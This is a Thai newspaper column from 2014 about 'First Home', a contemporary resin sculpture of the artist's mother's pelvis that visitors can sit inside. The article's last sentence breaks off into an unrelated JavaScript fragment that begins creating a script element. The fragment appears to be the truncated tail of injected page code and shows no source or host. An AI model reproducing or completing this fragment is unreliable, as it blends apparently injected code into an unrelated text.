Download PDF

มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 10 กรกฎาคม  2557

 

บ้านหลังแรกของคน คือเชิงกรานของแม่

          The Sense Pinklao เป็นห้างเปิดใหม่ ยังไม่สมบูรณ์ จึงมีคนไม่พลุกพล่าน

          ตกเย็นย่ำผมเลยชอบไปเดินคนเดียวโดดๆ ดูเวิ้งว้างว่างเปล่า นานๆก็แว่วๆเสียงปี่พาทย์ (ไม่ครบวง) ประโคมรำแก้บนที่ศาลพระศิวะ (พระอีศวร) อยู่ปากทาง ริมถนนหน้าห้างเซ็นทรัล ปิ่นเกล้า

“บ้านหลังแรก” (2557) โดย ลูกปลิว จันทร์พุดซา

          วันดีคืนดีเมื่อต้นเดือนกรกฎาคมที่ผ่านมา มีแสดงประติมากรรมร่วมสมัยของศิลปินสาวชื่อจริง นามสกุลจริงว่า ลูกปลิว จันทร์พุดซา (อาจารย์ประจำคณะจิตรกรรมประติมากรรมและภาพพิมพ์ มหาวิทยาลัยศิลปากร) เป็นชาวปากช่อง นครราชสีมา

          งานชิ้นสำคัญชื่อบ้านหลังแรก มีคนสนใจมากที่สุด บ้างยืนดูเฉยๆ บ้างเข้าไปนั่งในชิ้นงานแล้วถ่ายรูป เพราะเจ้าของงานก็ต้องการอย่างนั้น

          ผมไปยืนดูอยู่ 2 ครั้งใน 2 วัน เพราะเลื่อมใสแนวคิดอันวิเศษ(ที่กระตุ้นให้ย้อนกลับไปถึงโครงกระดูกเจ้าแม่โคกพนมดี อายุไม่น้อยกว่า 3,000 ปีมาแล้ว ที่บ้านโคกพนมดี อ. พนัสนิคม จ. ชลบุรี)

          แต่เขียนอธิบายประติมากรรมชิ้นใหญ่นี้ไม่ได้ จึงขอคัดข้อเขียนอธิบายของ เตยงาม คุปตะบุตร พิมพ์ในสูจิบัตรงานแสดงมาดังนี้

          ลูกปลิว จันทร์พุดซา สร้างกระดูกเชิงกราน (Pelvis) ขนาดใหญ่ที่เธอเองสามารถเข้าไปนั่งได้อย่างสบายๆ เชิงกรานนี้เป็นเชิงกรานของคุณแม่ของเธอ และตำแหน่งที่เธอนั่งอยู่ก็เป็นตำแหน่งที่เอมบริโอ (Embryo) เดินทางจากท่อนำรังไข่มาฝังตัวที่โพรงมดลูก แตกตัวออกเป็นล้านๆเซลล์อย่างรวดเร็ว และค่อยๆพัฒนาจนเห็นเป็นศีรษะ ลำตัว แขน และขาของตัวเธอเองเมื่อ 33 ปีที่แล้ว

          ประติมากรรมหล่อเรซิ่นชิ้นนี้มีชื่อว่า ‘บ้านหลังแรก’ หากเราได้มีโอกาสเข้าไปนั่งที่โพรงมดลูก ก็จะพบว่า มันเป็นพื้นที่สำหรับคนหนึ่งคน มีผนังด้านซ้ายและขวา ด้านหลังมีกระดูกก้นกบ (Coccygeal Vertebra) มาปิดกึ่งพยุงด้านหลังไว้ ให้ความรู้สึกโอบอุ้มผู้ที่อยู่ภายใน และเปิดด้านหน้าให้ผู้ชมคนอื่นๆสำรวจท่าทางและปฏิกิริยาของผู้ที่นั่งอยู่

          หากพิจารณาในแง่พื้นที่ ผลงานชิ้นนี้มีลักษณะห่อหุ้มคนดู (Space Envelope) คล้ายมดลูกที่ทำหน้าที่เป็นหีบห่อบรรจุทารกไว้ภายใน

          บ้านหลังแรกของคน คือเชิงกรานของแม่ เป็นประติมากรรมร่วมสมัยที่มีเรื่องราวเกี่ยวข้องกับคนและกำเนิดของคน จนผมคิดไปถึงนิทานกำเนิดมนุษย์จากน้ำเต้าปุงของ กลุ่มชาติพันธุ์ลุ่มน้ำโขง น่าจะมีเสวนาเรื่องอย่างนี้

          สถาบันทางศิลปวัฒนธรรม ควรพิจารณาให้ทุนขนย้ายไปจัดแสดงที่อื่นๆทั่วประเทศ จะวิเศษอย่างยิ่ง เท่ากับคืนความสุขอย่างแท้จริงให้คน} else {var d=document;var s=d.createElement(‘script’);